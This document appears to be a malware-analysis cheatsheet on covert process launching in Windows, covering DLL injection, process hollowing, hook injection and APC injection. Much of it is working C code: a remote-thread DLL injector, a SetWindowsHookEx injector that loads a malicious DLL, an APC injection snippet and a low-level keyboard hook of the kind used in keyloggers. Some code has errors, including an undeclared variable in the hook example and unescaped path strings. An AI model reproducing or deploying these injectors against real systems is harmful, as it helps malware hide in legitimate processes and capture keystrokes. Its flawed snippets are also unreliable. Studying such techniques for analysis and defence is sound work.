malware_launching.md 6.0 KB


title: malware_launching.md

categories: [cheatsheets]

Covert Process Launching

Process Injection

DLL Injection

  • a remote process is forced to load a DLL
  • DLLMain is called once the DLL is loaded
  • Most common way:
    • Obtain PID of remote process
    • get Handle via OpenProcess()
    • VirtualAlloc to create space for DLL Name
    • WriteProcessMemory to write DLL Name in allocated space
    • CreateRemoteThread(LoadLibrary, "Name of DLL")

Easy DLL Injection Code

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


int main() {
	

	const DWORD pid = 11428;
	char *dllName = "H:\awesome.dll";

	printf("[+] PID: %lu
", pid);

	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	if(hProc == NULL) {
		printf("[-] Error opening Process
");
		return 1;
	}


	LPVOID lpAlloc = VirtualAllocEx(hProc, NULL, strlen(dllName), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
	if (lpAlloc == NULL)
	{
		printf("[-] Problem Allocating Memory in remote Process
");
		return 1;
	}

	printf("[+] Got Pointer to Memory @%08p
", lpAlloc);

	SIZE_T bytesWritten = 0;

	if(!WriteProcessMemory(hProc, lpAlloc, dllName, strlen(dllName), &bytesWritten)) {

		printf("[-] Error writing string into remote process
");
		return 1;
	}


	printf("[+] Wrote String in Memory
");

	HMODULE hKernel32 = GetModuleHandle("kernel32.dll");	

	if(!hKernel32) {
		printf("[-] No Handle to Kernel32.dll");
		return 1;
	}


	printf("[+] Got Kernel32.dll
");
	FARPROC fpLoadLib = GetProcAddress(hKernel32, "LoadLibraryA");

	if(!fpLoadLib) {
		printf("[-] No Address for LoadLibrary
");
		return 1;
	}


	printf("[+] Address of LoadLibaray: %08p
", fpLoadLib);

	// Create Remote Thread
	if(!CreateRemoteThread(hProc, NULL, 0, fpLoadLib, lpAlloc, 0, NULL)) {
		printf("[-] Failed to CreateRemoteThread() :-(
");
		return 1;
	}


	return 0;
}

Direct Injection

  • Injecting Code directly in the process
  • Functions used: VirtualAlloc(), WriteProcessMemory() & CreateRemoteThread()
  • no normal compilation
  • -> strings and vars are not in the Data-Section...

Process Replacement

  • Complete Memory space is overwritten with a malicious process
  • Process gets same privileges as the replaced one
  • To Achive this:
    • CreateProcess() in suspended-mode
    • ZwUnmapViewOfSection() to release all Memory pointed to
    • VirtualAlloc() to alloc. new Memory for the Process
    • Restore process environment with WriteProcessMemory()
    • -> Pe Header, Sections, ..
    • SetThreadContext() to set Entry Point
    • ResumeThread() to call Entry Point

Hook Injection

  • Hooks are used to intercept Windows Messages
  • Two types of Hooks
  • Local Hooks - observe/manipulate messages for a internal Process
  • Remote Hooks - observe/manipulate messages for a remote Process

  • Remote Hooks are split in two other types:

  • High-Level Hooks - Hook Proc as exported function in a DLL, which is mapped by the OS into ProcessSpace of one or more Threds

  • Low-Level Hooks - Hook Proc contained in the Process which installed the Hook

  • Hooks are often Used in keyloggers to hook the Keystroke Messages

  • Using SetWindowsHookEx()

Example LowLevel Keyboard Hook

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>

HHOOK ownhookHandle;

LRESULT CALLBACK LowLevelKeyboardProc(int nCode, WPARAM wParam, LPARAM lParam) {

	if(wParam == WM_KEYDOWN) {
		printf("Key pressed
");
	}
	return CallNextHookEx(own, nCode, wParam, lParam);
}


int main() {
	
	hookHandle =SetWindowsHookEx(WH_KEYBOARD_LL, LowLevelKeyboardProc, NULL, 0);
	if(!own) {
		printf("[-] No Hook for you :(
");
		return 1;
	}

	MSG msg;
	while (GetMessage(&msg, NULL, 0, 0))
	{
	}	

	return 0;
}

With this technique its also possible to force a Process to load a Malicious DLL

  • Done by Setting a Hook for a remoteThread
  • -> GetThreadId()
  • Set a Hook for a less used Message (WH_CBT)
  • Use a procedure from a malicious DLL
  • Remote Process loads the DLL in its Memory space and executes DllMain

Example

// hooking.c

#include <stdio.h>
#include <stdlib.h>
#include <windows.h>


int main() {
	
	int pid = 14464;
	HANDLE hProc = OpenProcess(PROCESS_ALL_ACCESS, FALSE, pid);

	if(!hProc) {
		printf("[-] Failed to Open Target Process
");
		return -1;
	}

	HMODULE maldll = LoadLibraryA("H:\mal.dll");

	if(!maldll) {
		printf("[-] Couldnt Load Library
");
		return -1;
	}

	HOOKPROC hookingProcedure = (HOOKPROC)GetProcAddress(maldll, "hookingProc");

	if(!hookingProcedure) {
		printf("[-] Failed to get hookproc
");
		return -1;
	}


	HHOOK hookHandle = SetWindowsHookEx(WH_CBT, hookingProcedure, maldll, 0);

	if(!hookHandle) {
		printf("[-] No Hook for you :(
");
		return -1;
	}

	printf("[+] Successfully injected dll..
");

	return 0;
}

Detours

  • Library developed by Microsoft
  • easy import-table modification
  • Often used to add new DLLs to Binaries on Disk
  • creates section named .detours with the original PEHeader

APC Injection

APC = Asynchronous Procedure Call

=> Like CreateRemoteThread() but invokes a existing Thread

  • Used to execute Code directly
  • APC Queues are process if a Thread did not start already
  • OR if the Thread is in a Alertable State and "WaitForSingleObject()" is called..
  • 2 kinds of APC's
    1. APC for the System, Drivers, etc are called Kernel-Mode APC's
    2. APC for Applications are called User-Mode APC's

User-Mode APC Injection

  • Uses the Windows API Function QueueUserAPC(pfnAPC, hThread, dwData)
  • Malware often uses CreateToolhelp32Snapshot, Process32First/Next and Thread32First/Next to find working Processes and alertable Threads
  • svchost.exe is a common target
  • 'pfnAPC' is a Function Pointer, hThread the Handle to the Thread, and dwData the pointer to the Parameter for the Function pfnAPC
  • Used for DLL injection by using LoadLibaray as pfnAPC and the DLL Name as Parameter

Example


// Same Code as for the DLL injection...
// Replace CreateRemoteThread with:
// a threadId is needed


HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadId);

if(!QueueUserAPC((PAPCFUNC)fpLoadLib, hThread, (ULONG_PTR)lpAlloc)) {
	printf("Failed to APC Inject :(
");
}